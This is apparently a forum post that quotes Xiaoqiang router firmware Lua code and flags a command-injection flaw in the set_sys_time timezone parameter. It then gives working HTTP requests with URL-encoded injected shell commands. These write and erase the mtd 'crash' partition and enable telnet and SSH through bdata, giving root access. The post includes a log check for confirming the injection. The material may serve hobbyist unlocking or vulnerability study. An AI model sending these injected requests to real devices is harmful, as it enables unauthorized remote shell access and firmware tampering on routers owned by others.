Here is what I found yesterday in the LUA code:
entry({"api", "misystem", "set_sys_time"}, call("setSysTime"), (""), 173)
function setSysTime()
local result = {
["code"] = 0
}
local time = LuciHttp.formvalue("time")
local timezone = LuciHttp.formvalue("timezone")
local index = tonumber(LuciHttp.formvalue("index") or 0) or 0
XQSysUtil.setSysTime(time, timezone, index)
LuciHttp.write_json(result)
end
function setSysTime(time, tzone, index)
local XQCountryCode = require("xiaoqiang.XQCountryCode")
local XQFunction = require("xiaoqiang.common.XQFunction")
if tzone and not XQFunction.isStrNil(tzone) then
local fs = require("nixio.fs")
local uci = require("luci.model.uci").cursor()
uci:foreach("system", "system",
function(s)
if not XQFunction.isStrNil(s.timezone) then
uci:set("system", s[".name"], "timezone", tzone)
uci:set("system", s[".name"], "webtimezone", tzone)
uci:set("system", s[".name"], "timezoneindex", index)
end
end
)
uci:commit("system")
XQFunction.forkExec("/etc/init.d/timezone restart")
local XQSysUtil = require("xiaoqiang.util.XQSysUtil")
local XQLog = require("xiaoqiang.XQLog")
local isMeshCap = XQFunction.isMeshCap()
if isMeshCap then
local info = {
["cmd"] = "sync_time",
["timezone"] = tostring(tzone),
["index"] = tostring(index or 0),
["tz_value"] = tostring(tzone),
}
local json= require("luci.json")
local j_msg = json.encode(info)
XQLog.log(6," CAP call RE sync timezone msg:" .. j_msg)
-- exploitable vulnerability --------
XQFunction.forkExec("/sbin/whc_to_re_common_api.sh action \'" .. j_msg .. "\'")
-- ----------------------------------
XQFunction.forkExec("/sbin/whc_to_re_common_api.sh whc_sync")
end
end
if not XQFunction.isStrNil(time) and time:match("^%d+%-%d+%-%d+ %d+:%d+:%d+$") then
XQFunction.forkExec("echo 'ok,xiaoqiang' > /tmp/ntp.status; sleep 3; date -s \""..time.."\"")
end
end
function isMeshCap()
local uci = require("luci.model.uci").cursor()
local mode = uci:get("xiaoqiang", "common", "NETMODE") or ""
if mode:match("^whc_cap") then
return true
end
if mode:match("^lanapmode") then
local capmode = getCAPMode()
if capmode == 1 then
return true
end
end
return false
end
function getCAPMode()
local uci = require("luci.model.uci").cursor()
local mode = uci:get("xiaoqiang", "common", "CAP_MODE") or ""
if mode == "ap" then
return 1
end
return 0
end
It is very likely that this vulnerability can be exploited.
First you need to check the correct settings of the router:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/xqnetwork/get_netmode
The netmode
parameter must contain the value 4
. If this is not the case, then the exploit will not work!
Test http request:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20logger%20hello_world_3333_%20%3b%20
Vulnerability exploit check:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/sys_log
Download the tar.gz
file from the link specified in the browser.
Unpack tar.gz
and open file data/usr/log/messages
At the very end of the log should be the following:
2022-08-07T14:46:32+01:00 XiaoQiang luci: "timezone=%20%27%20%3b%20logger%20hello_world_3333_%20%3b%20"
2022-08-07T14:46:32+01:00 XiaoQiang whc_to_re: {"cmd":"sync_time","tz_value":"
2022-08-07T14:46:32+01:00 XiaoQiang root: hello_world_3333_
If this test works, then to activate TELNET you will need to replace logger
command with this:
-
CMD:
echo pVoAAA== | base64 -d | mtd write - crash
("pVoAAA==" decode to "\xA5\x5A\x00\x00")
Request:http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20echo%20pVoAAA%3D%3D%20%7C%20base64%20-d%20%7C%20mtd%20write%20-%20crash%20%3B%20
reboot -
CMD:
bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata commit
Request:http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20commit%20%3B%20
-
CMD:
mtd erase crash
Request:http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20mtd%20erase%20crash%20%3b%20
reboot
PS: Only now I do not know how to legaly force the function isMeshCap
to return true
...